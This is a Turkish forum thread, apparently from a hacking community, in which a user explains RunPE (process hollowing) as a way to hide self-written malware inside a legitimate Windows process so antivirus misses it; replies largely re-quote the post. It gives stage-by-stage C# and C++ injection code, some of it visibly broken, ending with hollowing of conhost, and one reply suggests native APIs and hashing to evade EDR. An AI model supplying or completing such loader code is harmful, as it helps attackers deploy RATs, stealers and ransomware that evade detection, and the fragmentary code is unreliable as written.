RunPe Nedir? Örnek Kod İle Açıklayalım

Maveraün Nehr

Blue Team Lideri
25 Haz 2021
1,092
2,162
41.303921, -81.901693
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son


Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi bir uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.


Programming_C-4-256.png

Örnek Kod;

C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

Programming_C-4-256.png

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.


Programming_C-4-256.png

Örnek Kod;

C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Programming_C-4-256.png

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
 
Son düzenleme:

Çokgen

Katılımcı Üye
4 Eyl 2023
446
211
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son

Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.

Örnek Kod;


C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.

Örnek Kod;


C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Ellerinize ve Emeğinize sağlık hocam, harika konu olmuş.
 

gostking

Katılımcı Üye
29 Nis 2020
412
717
Ötüken
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son

Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.

Örnek Kod;


C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.

Örnek Kod;


C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Elinize emeğinize sağlık hocam faydalı bi konu olmuş ayrıca size sormak istedigim birşey var bunun benzeri olarak process hollowing'de var rootkit'ler trojanlar ve apt gibi kötü amaçli yazılımlarda kullanılıyor sizin tavsiyeniz hangisidir?
 

THE zoRRo

Uzman üye
26 Tem 2022
1,697
1,620
19
KATO DAĞI
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son

Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.

Örnek Kod;


C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.

Örnek Kod;


C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Güzel konu.
 

Maveraün Nehr

Blue Team Lideri
25 Haz 2021
1,092
2,162
41.303921, -81.901693
Elinize sağlık hocam okuyacağım makallenizi

Ellerinize ve Emeğinize sağlık hocam, harika konu olmuş.
Allah sizlere de sağlık versin inşallah
Elinize emeğinize sağlık hocam faydalı bi konu olmuş ayrıca size sormak istedigim birşey var bunun benzeri olarak process hollowing'de var rootkit'ler trojanlar ve apt gibi kötü amaçli yazılımlarda kullanılıyor sizin tavsiyeniz hangisidir?

Valla o da güzel bir yöntem ben genelde runpe kullandım onu da bir öğrenmem lazım. Çünkü 2013'ler de RunPE ler meşhurdu.

teşekkürler zorro
 

xzh

Üye
8 Nis 2020
232
84
Uygulamanda daha native api + hashing kullanirsan edr sistemlerinden kacinman daha kolay olur. Kodlari biraz daha detayli aciklasaydin uygun olur gibi.
 

LydexCoding

Katılımcı Üye
24 May 2024
431
141
:)
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son


Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi bir uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.


Programming_C-4-256.png

Örnek Kod;

C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

